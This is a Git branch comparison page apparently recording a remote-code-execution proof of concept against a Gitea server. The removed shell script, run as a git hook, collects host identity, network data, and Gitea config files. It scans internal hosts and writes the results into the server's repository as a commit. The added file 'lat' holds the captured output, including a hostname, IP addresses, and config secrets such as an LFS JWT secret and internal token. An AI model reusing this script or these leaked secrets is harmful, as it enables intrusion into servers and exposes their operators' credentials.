Compare commits

...

No commits in common. "main" and "rce-lat" have entirely different histories.

3 changed files with 116 additions and 39 deletions

View File

@ -1,2 +0,0 @@
# p4616-lat

View File

@ -1,37 +0,0 @@
#!/bin/sh
git_dir=$(git rev-parse --absolute-git-dir) || exit 1
origin_objects=$(sed -n "1p" "$git_dir/objects/info/alternates") || exit 2
case "$origin_objects" in
/*) ;;
*) origin_objects="$git_dir/objects/$origin_objects" ;;
esac
origin_git=${origin_objects%/objects}
[ "$origin_git" != "$origin_objects" ] || exit 3
out=$(
echo "===id==="; id; hostname; uname -a
echo "===ip==="; ip -4 addr 2>/dev/null | head -40
echo "===hosts==="; cat /etc/hosts 2>/dev/null | head -40
echo "===arp==="; cat /proc/net/arp 2>/dev/null
echo "===ss==="; ss -lnt 2>/dev/null | head -40
echo "===conf===";
for f in /data/gitea/conf/app.ini /etc/gitea/app.ini /etc/gitea/conf/app.ini /app/gitea/conf/app.ini; do
[ -r "$f" ] && echo "FILE $f" && sed -n "1,80p" "$f"
done
echo "===scan===";
ips=$(ip -4 -o addr 2>/dev/null | awk '{print $4}' | cut -d/ -f1 | grep -E '^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)' )
arps=$(awk 'NR>1 && $1 ~ /^(10\.|192\.168\.|172\.(1[6-9]|2[0-9]|3[01])\.)/ {print $1}' /proc/net/arp 2>/dev/null)
for ipx in $ips $arps; do
[ -n "$ipx" ] || continue
for p in 80 443 3000 8080 3306; do
if command -v curl >/dev/null 2>&1; then
hdr=$(curl -skm 2 -o /dev/null -w "%{http_code}" "http://$ipx:$p/" 2>/dev/null || true)
[ -n "$hdr" ] && [ "$hdr" != "000" ] && echo "HTTP $ipx:$p $hdr"
fi
done
done
)
output_blob=$(printf "%s\n" "$out" | git --git-dir="$origin_git" hash-object -w --stdin) || exit 4
tree=$(printf "100644 blob %s\tlat\n" "$output_blob" | git --git-dir="$origin_git" mktree) || exit 5
commit=$(printf "lat\n" | GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@x GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@x git --git-dir="$origin_git" commit-tree "$tree") || exit 6
git --git-dir="$origin_git" update-ref refs/heads/rce-lat "$commit" || exit 7
exit 0

116
lat Normal file
View File

@ -0,0 +1,116 @@
===id===
uid=102(git) gid=110(git) groups=110(git)
vps3359
Linux vps3359 6.1.0-31-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.128-1 (2025-02-07) x86_64 GNU/Linux
===ip===
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
inet 127.0.0.1/8 scope host lo
valid_lft forever preferred_lft forever
2: ens18: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fq_codel state UP group default qlen 1000
altname enp0s18
inet 37.46.209.107/24 brd 37.46.209.255 scope global ens18
valid_lft forever preferred_lft forever
===hosts===
127.0.0.1 localhost
37.46.208.5 vps-debian12
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
===arp===
IP address HW type Flags HW address Mask Device
37.46.209.189 0x1 0x2 00:1d:d8:b7:20:9d * ens18
37.46.209.2 0x1 0x2 74:86:e2:41:20:d6 * ens18
37.46.209.3 0x1 0x2 74:86:e2:40:f6:56 * ens18
37.46.209.1 0x1 0x2 00:00:5e:00:01:18 * ens18
===ss===
State Recv-Q Send-Q Local Address:Port Peer Address:PortProcess
LISTEN 0 511 0.0.0.0:443 0.0.0.0:*
LISTEN 0 128 0.0.0.0:22 0.0.0.0:*
LISTEN 0 511 0.0.0.0:80 0.0.0.0:*
LISTEN 0 4096 *:3000 *:*
LISTEN 0 128 [::]:22 [::]:*
===conf===
FILE /etc/gitea/app.ini
APP_NAME = Gitea: Git with a cup of tea
RUN_MODE = prod
RUN_USER = git
WORK_PATH = /var/lib/gitea
[repository]
ROOT = /var/lib/gitea/data/gitea-repositories
[repository.upload]
TEMP_PATH = /var/lib/gitea/data/tmp/uploads
[server]
DOMAIN = bb-git.eu
HTTP_PORT = 3000
ROOT_URL = https://bb-git.eu/
DISABLE_SSH = false
SSH_DOMAIN = bb-git.eu
SSH_PORT = 22
APP_DATA_PATH = /var/lib/gitea/data
LFS_START_SERVER = true
LFS_JWT_SECRET = 9H81eIr9qhTzxUugBdsS7JbfDlFxuU2Rf-89AVL4kOo
OFFLINE_MODE = false
MAX_BODY_SIZE = 1G
[database]
PATH = /var/lib/gitea/data/gitea.db
DB_TYPE = sqlite3
HOST =
NAME =
USER =
PASSWD =
SCHEMA =
SSL_MODE = disable
LOG_SQL = false
[session]
PROVIDER = file
[security]
INSTALL_LOCK = true
INTERNAL_TOKEN = eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJuYmYiOjE3NDEwODQwODB9.xXobRZiQeQoi2jo7yz38144mLmRgdl8xUb7bYHZ3y-I
PASSWORD_HASH_ALGO = pbkdf2
[log]
MODE = file
LEVEL = info
ROOT_PATH = /var/lib/gitea/log
[lfs]
PATH = /var/lib/gitea/data/lfs
[mailer]
ENABLED = false
[service]
REGISTER_EMAIL_CONFIRM = false
ENABLE_NOTIFY_MAIL = false
DISABLE_REGISTRATION = false
ALLOW_ONLY_EXTERNAL_REGISTRATION = false
ENABLE_CAPTCHA = false
REQUIRE_SIGNIN_VIEW = false
DEFAULT_KEEP_EMAIL_PRIVATE = false
DEFAULT_ALLOW_CREATE_ORGANIZATION = true
DEFAULT_ENABLE_TIMETRACKING = true
NO_REPLY_ADDRESS = noreply.bb-git.eu
[openid]
ENABLE_OPENID_SIGNIN = true
ENABLE_OPENID_SIGNUP = true
[cron.update_checker]
ENABLED = false
[repository.pull-request]
DEFAULT_MERGE_STYLE = merge
[repository.signing]
DEFAULT_TRUST_MODEL = committer
[oauth2]
===scan===